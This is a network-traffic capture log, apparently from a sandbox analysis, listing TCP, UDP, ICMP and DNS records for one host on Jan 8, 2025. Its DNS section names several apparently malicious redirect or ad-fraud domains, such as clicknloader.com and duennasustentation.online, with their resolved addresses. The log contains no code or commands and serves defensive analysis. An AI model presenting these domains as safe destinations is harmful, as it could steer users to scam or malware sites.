Jan 8, 2025 15:45:43.787504911 CET	49899	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.787705898 CET	49899	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.787719965 CET	443	49899	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.990607977 CET	443	49898	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.990926981 CET	49898	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.990945101 CET	443	49898	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.992006063 CET	443	49898	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.992096901 CET	49898	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.992492914 CET	49898	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.992532969 CET	49898	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.992558956 CET	443	49898	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.992588043 CET	49898	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.992647886 CET	49898	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.993055105 CET	49901	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.993083000 CET	443	49901	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.993155003 CET	49901	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.993385077 CET	49901	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.993400097 CET	443	49901	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.242243052 CET	443	49899	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.242629051 CET	49899	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.242666006 CET	443	49899	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.243729115 CET	443	49899	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.243830919 CET	49899	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.244096041 CET	49899	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.244159937 CET	443	49899	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.244245052 CET	49899	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.244254112 CET	443	49899	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.295351028 CET	49899	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.417684078 CET	443	49899	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.417810917 CET	443	49899	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.417869091 CET	49899	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.418498039 CET	49899	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.418517113 CET	443	49899	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.449089050 CET	443	49901	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.449496984 CET	49901	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.449533939 CET	443	49901	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.450598001 CET	443	49901	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.450678110 CET	49901	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.450967073 CET	49901	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.451034069 CET	443	49901	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.451122999 CET	49901	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.451133013 CET	443	49901	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.507330894 CET	49901	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.616935968 CET	443	49901	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.617017031 CET	443	49901	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:44.617085934 CET	49901	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.617682934 CET	49901	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:44.617698908 CET	443	49901	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:45.598042011 CET	49902	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:45.598079920 CET	443	49902	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:45.598155975 CET	49902	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:45.598392010 CET	49902	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:45.598406076 CET	443	49902	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.002018929 CET	443	49837	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:46.002094984 CET	443	49837	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:46.002296925 CET	49837	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:46.080394030 CET	443	49902	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.080741882 CET	49902	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.080758095 CET	443	49902	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.081839085 CET	443	49902	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.081928015 CET	49902	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.082216024 CET	49902	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.082288980 CET	443	49902	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.082355022 CET	49902	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.082364082 CET	443	49902	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.147351027 CET	49902	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.214627981 CET	443	49902	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.214708090 CET	443	49902	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.214840889 CET	49902	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.215085030 CET	49902	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.215100050 CET	443	49902	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.215277910 CET	49837	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:46.215320110 CET	443	49837	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:46.215684891 CET	49903	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.215739012 CET	443	49903	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.215816021 CET	49903	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.216075897 CET	49903	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.216089010 CET	443	49903	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.728060961 CET	443	49903	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.728384018 CET	49903	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.728416920 CET	443	49903	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.728809118 CET	443	49903	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.729115963 CET	49903	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.729196072 CET	443	49903	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.729258060 CET	49903	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.775329113 CET	443	49903	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.858215094 CET	443	49903	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.858392954 CET	443	49903	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.858443975 CET	49903	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.858619928 CET	49903	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.858619928 CET	49903	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:46.858639002 CET	443	49903	35.190.80.1	192.168.2.16
Jan 8, 2025 15:45:46.858686924 CET	49903	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:45:52.333524942 CET	443	49849	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:52.333652973 CET	443	49849	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:52.333733082 CET	49849	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:53.912935972 CET	49849	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:53.912971973 CET	443	49849	188.114.97.3	192.168.2.16
Jan 8, 2025 15:46:26.567027092 CET	49905	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:46:26.567078114 CET	443	49905	142.250.185.196	192.168.2.16
Jan 8, 2025 15:46:26.567188978 CET	49905	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:46:26.567428112 CET	49905	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:46:26.567447901 CET	443	49905	142.250.185.196	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 15:44:21.722649097 CET	53	63472	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:21.776331902 CET	53	63850	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:22.576652050 CET	60833	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:22.576808929 CET	63213	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:22.587879896 CET	53	60833	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:22.593240023 CET	53	63213	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:22.772157907 CET	53	56423	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:24.778393984 CET	60225	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:24.778655052 CET	50233	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:24.815102100 CET	53	60225	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:24.815196991 CET	53	50233	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:26.452320099 CET	62838	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:26.452465057 CET	60441	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:26.458837986 CET	52036	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:26.459024906 CET	64455	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:26.460429907 CET	53	60441	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:26.460550070 CET	53	62838	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:26.474725962 CET	53	64455	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:26.492646933 CET	53	52036	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:28.281200886 CET	61781	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:28.281368017 CET	57537	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:28.293176889 CET	53	57537	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:28.305095911 CET	53	61781	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:30.686448097 CET	63480	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:30.686810017 CET	57926	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:30.699970007 CET	53	57926	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:30.714950085 CET	53	63480	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:34.476404905 CET	50745	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:34.476558924 CET	49691	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:34.487884045 CET	53	50745	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:34.489824057 CET	53	49691	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:35.022228956 CET	52610	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:35.022903919 CET	57932	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:36.619443893 CET	57052	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:36.619659901 CET	57751	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:39.002159119 CET	57338	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:39.002353907 CET	50215	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:39.011487007 CET	53	57338	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:39.011637926 CET	53	50215	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:39.024300098 CET	53	59412	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:39.711404085 CET	53	50532	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:40.100703955 CET	52422	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:40.100878954 CET	57246	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:40.110439062 CET	53	57246	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:40.112679005 CET	53	52422	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:43.262669086 CET	59315	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:43.262936115 CET	62707	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:43.271647930 CET	53	59315	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:43.272583961 CET	53	62707	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:45.590898991 CET	65058	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:45.593256950 CET	50252	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:45.597733974 CET	53	65058	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:45.600073099 CET	53	50252	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:45.611238956 CET	63200	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:45.611438990 CET	57847	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:45.623473883 CET	53	63200	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:45.627543926 CET	53	57847	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:47.825265884 CET	55223	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:47.825449944 CET	60334	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:44:47.835020065 CET	53	55223	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:47.836261034 CET	53	60334	1.1.1.1	192.168.2.16
Jan 8, 2025 15:44:58.730437040 CET	53	64940	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:21.492691040 CET	53	57820	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:21.669179916 CET	53	58605	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:28.220009089 CET	64555	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:28.220230103 CET	58710	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:28.231831074 CET	53	58710	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:28.243309975 CET	53	64555	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:29.020956039 CET	138	138	192.168.2.16	192.168.2.255
Jan 8, 2025 15:45:29.983679056 CET	60284	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:29.983906031 CET	55503	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:29.997427940 CET	53	55503	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:30.145927906 CET	53	60284	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:31.684604883 CET	58134	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:31.684752941 CET	55115	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:31.698420048 CET	53	55115	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:31.700475931 CET	53	58134	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:33.436677933 CET	53684	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:33.436804056 CET	63895	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:33.454330921 CET	53	63895	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:33.499995947 CET	53	53684	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:37.320242882 CET	56883	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:37.320375919 CET	64736	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:37.351275921 CET	53	64736	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:37.353080988 CET	53	56883	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:37.955287933 CET	52869	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:37.955471039 CET	49405	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:37.970613003 CET	53	52869	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:37.970627069 CET	53	49405	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:39.146214962 CET	62564	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:39.146394968 CET	49449	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:41.339673996 CET	51520	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:41.339823008 CET	65026	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:41.354500055 CET	53	65026	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:41.354512930 CET	53	51520	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:41.898793936 CET	53	60930	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:45.590605021 CET	58786	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:45.590749979 CET	53602	53	192.168.2.16	1.1.1.1
Jan 8, 2025 15:45:45.597342014 CET	53	53602	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:45.597584963 CET	53	58786	1.1.1.1	192.168.2.16
Jan 8, 2025 15:45:51.523852110 CET	53	59088	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 8, 2025 15:44:30.715027094 CET	192.168.2.16	1.1.1.1	c21b	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 8, 2025 15:44:22.576652050 CET	192.168.2.16	1.1.1.1	0x7095	Standard query (0)	vwi46h7.terraclicks.click	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:22.576808929 CET	192.168.2.16	1.1.1.1	0xa5bb	Standard query (0)	vwi46h7.terraclicks.click	65	IN (0x0001)	false
Jan 8, 2025 15:44:24.778393984 CET	192.168.2.16	1.1.1.1	0x8033	Standard query (0)	www.loadurl24.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:24.778655052 CET	192.168.2.16	1.1.1.1	0x92aa	Standard query (0)	www.loadurl24.com	65	IN (0x0001)	false
Jan 8, 2025 15:44:26.452320099 CET	192.168.2.16	1.1.1.1	0x9e59	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:26.452465057 CET	192.168.2.16	1.1.1.1	0xdcb7	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 8, 2025 15:44:26.458837986 CET	192.168.2.16	1.1.1.1	0xc081	Standard query (0)	www.clicknloader.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:26.459024906 CET	192.168.2.16	1.1.1.1	0x682d	Standard query (0)	www.clicknloader.com	65	IN (0x0001)	false
Jan 8, 2025 15:44:28.281200886 CET	192.168.2.16	1.1.1.1	0xaa05	Standard query (0)	duennasustentation.online	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:28.281368017 CET	192.168.2.16	1.1.1.1	0x43f9	Standard query (0)	duennasustentation.online	65	IN (0x0001)	false
Jan 8, 2025 15:44:30.686448097 CET	192.168.2.16	1.1.1.1	0x7083	Standard query (0)	duennasustentation.online	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:30.686810017 CET	192.168.2.16	1.1.1.1	0xe658	Standard query (0)	duennasustentation.online	65	IN (0x0001)	false
Jan 8, 2025 15:44:34.476404905 CET	192.168.2.16	1.1.1.1	0xbddb	Standard query (0)	duennasustentation.online	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:34.476558924 CET	192.168.2.16	1.1.1.1	0x7230	Standard query (0)	duennasustentation.online	65	IN (0x0001)	false
Jan 8, 2025 15:44:35.022228956 CET	192.168.2.16	1.1.1.1	0x16ce	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:35.022903919 CET	192.168.2.16	1.1.1.1	0xb845	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Jan 8, 2025 15:44:36.619443893 CET	192.168.2.16	1.1.1.1	0xd1d4	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:36.619659901 CET	192.168.2.16	1.1.1.1	0x166c	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Jan 8, 2025 15:44:39.002159119 CET	192.168.2.16	1.1.1.1	0x9b68	Standard query (0)	trk-quantivex.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:39.002353907 CET	192.168.2.16	1.1.1.1	0xbc0	Standard query (0)	trk-quantivex.com	65	IN (0x0001)	false
Jan 8, 2025 15:44:40.100703955 CET	192.168.2.16	1.1.1.1	0xf0b1	Standard query (0)	trk-quantivex.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:40.100878954 CET	192.168.2.16	1.1.1.1	0x6ac9	Standard query (0)	trk-quantivex.com	65	IN (0x0001)	false
Jan 8, 2025 15:44:43.262669086 CET	192.168.2.16	1.1.1.1	0x4018	Standard query (0)	secureanalytic.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:43.262936115 CET	192.168.2.16	1.1.1.1	0x89d0	Standard query (0)	secureanalytic.com	65	IN (0x0001)	false
Jan 8, 2025 15:44:45.590898991 CET	192.168.2.16	1.1.1.1	0xb74c	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:45.593256950 CET	192.168.2.16	1.1.1.1	0xbd9f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 8, 2025 15:44:45.611238956 CET	192.168.2.16	1.1.1.1	0xc566	Standard query (0)	event.trk-quantivex.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:45.611438990 CET	192.168.2.16	1.1.1.1	0x26e5	Standard query (0)	event.trk-quantivex.com	65	IN (0x0001)	false
Jan 8, 2025 15:44:47.825265884 CET	192.168.2.16	1.1.1.1	0xa3d5	Standard query (0)	event.trk-quantivex.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:47.825449944 CET	192.168.2.16	1.1.1.1	0x7fc4	Standard query (0)	event.trk-quantivex.com	65	IN (0x0001)	false
Jan 8, 2025 15:45:28.220009089 CET	192.168.2.16	1.1.1.1	0xe35a	Standard query (0)	grizzlyprize.is	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:28.220230103 CET	192.168.2.16	1.1.1.1	0xd1d6	Standard query (0)	grizzlyprize.is	65	IN (0x0001)	false
Jan 8, 2025 15:45:29.983679056 CET	192.168.2.16	1.1.1.1	0xcbe0	Standard query (0)	www.biggestspinwins.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:29.983906031 CET	192.168.2.16	1.1.1.1	0xa2b9	Standard query (0)	www.biggestspinwins.com	65	IN (0x0001)	false
Jan 8, 2025 15:45:31.684604883 CET	192.168.2.16	1.1.1.1	0xccbe	Standard query (0)	as6asdas54k.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:31.684752941 CET	192.168.2.16	1.1.1.1	0x5bc2	Standard query (0)	as6asdas54k.com	65	IN (0x0001)	false
Jan 8, 2025 15:45:33.436677933 CET	192.168.2.16	1.1.1.1	0xf870	Standard query (0)	www.hypecataloguehub.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:33.436804056 CET	192.168.2.16	1.1.1.1	0x4afd	Standard query (0)	www.hypecataloguehub.com	65	IN (0x0001)	false
Jan 8, 2025 15:45:37.320242882 CET	192.168.2.16	1.1.1.1	0xe6f6	Standard query (0)	www.nrj1hs34m.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:37.320375919 CET	192.168.2.16	1.1.1.1	0x33ed	Standard query (0)	www.nrj1hs34m.com	65	IN (0x0001)	false
Jan 8, 2025 15:45:37.955287933 CET	192.168.2.16	1.1.1.1	0x34e8	Standard query (0)	www.chargeswiftpath.online	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:37.955471039 CET	192.168.2.16	1.1.1.1	0x446	Standard query (0)	www.chargeswiftpath.online	65	IN (0x0001)	false
Jan 8, 2025 15:45:39.146214962 CET	192.168.2.16	1.1.1.1	0x7d53	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:39.146394968 CET	192.168.2.16	1.1.1.1	0xc0d3	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Jan 8, 2025 15:45:41.339673996 CET	192.168.2.16	1.1.1.1	0x65f5	Standard query (0)	www.chargeswiftpath.online	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:41.339823008 CET	192.168.2.16	1.1.1.1	0x674e	Standard query (0)	www.chargeswiftpath.online	65	IN (0x0001)	false
Jan 8, 2025 15:45:45.590605021 CET	192.168.2.16	1.1.1.1	0xb66	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:45:45.590749979 CET	192.168.2.16	1.1.1.1	0xeb3a	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 8, 2025 15:44:22.587879896 CET	1.1.1.1	192.168.2.16	0x7095	No error (0)	vwi46h7.terraclicks.click		67.198.205.87	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:24.815102100 CET	1.1.1.1	192.168.2.16	0x8033	No error (0)	www.loadurl24.com		172.67.183.92	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:24.815102100 CET	1.1.1.1	192.168.2.16	0x8033	No error (0)	www.loadurl24.com		104.21.32.50	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:24.815196991 CET	1.1.1.1	192.168.2.16	0x92aa	No error (0)	www.loadurl24.com			65	IN (0x0001)	false
Jan 8, 2025 15:44:26.460429907 CET	1.1.1.1	192.168.2.16	0xdcb7	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 8, 2025 15:44:26.460550070 CET	1.1.1.1	192.168.2.16	0x9e59	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:26.474725962 CET	1.1.1.1	192.168.2.16	0x682d	No error (0)	www.clicknloader.com			65	IN (0x0001)	false
Jan 8, 2025 15:44:26.492646933 CET	1.1.1.1	192.168.2.16	0xc081	No error (0)	www.clicknloader.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:26.492646933 CET	1.1.1.1	192.168.2.16	0xc081	No error (0)	www.clicknloader.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:28.293176889 CET	1.1.1.1	192.168.2.16	0x43f9	No error (0)	duennasustentation.online			65	IN (0x0001)	false
Jan 8, 2025 15:44:28.305095911 CET	1.1.1.1	192.168.2.16	0xaa05	No error (0)	duennasustentation.online		104.21.28.45	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:28.305095911 CET	1.1.1.1	192.168.2.16	0xaa05	No error (0)	duennasustentation.online		172.67.144.59	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:30.699970007 CET	1.1.1.1	192.168.2.16	0xe658	No error (0)	duennasustentation.online			65	IN (0x0001)	false
Jan 8, 2025 15:44:30.714950085 CET	1.1.1.1	192.168.2.16	0x7083	No error (0)	duennasustentation.online		104.21.28.45	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:30.714950085 CET	1.1.1.1	192.168.2.16	0x7083	No error (0)	duennasustentation.online		172.67.144.59	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:34.487884045 CET	1.1.1.1	192.168.2.16	0xbddb	No error (0)	duennasustentation.online		172.67.144.59	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:34.487884045 CET	1.1.1.1	192.168.2.16	0xbddb	No error (0)	duennasustentation.online		104.21.28.45	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:44:34.489824057 CET	1.1.1.1	192.168.2.16	0x7230	No error (0)	duennasustentation.online			65	IN (0x0001)	false
Jan 8, 2025 15:44:35.029735088 CET	1.1.1.1	192.168.2.16	0x16ce	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 15:44:35.030639887 CET	1.1.1.1	192.168.2.16	0xb845	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 15:44:36.626265049 CET	1.1.1.1	192.168.2.16	0xd1d4	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 15:44:36.627132893 CET	1.1.1.1	192.168.2.16	0x166c	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
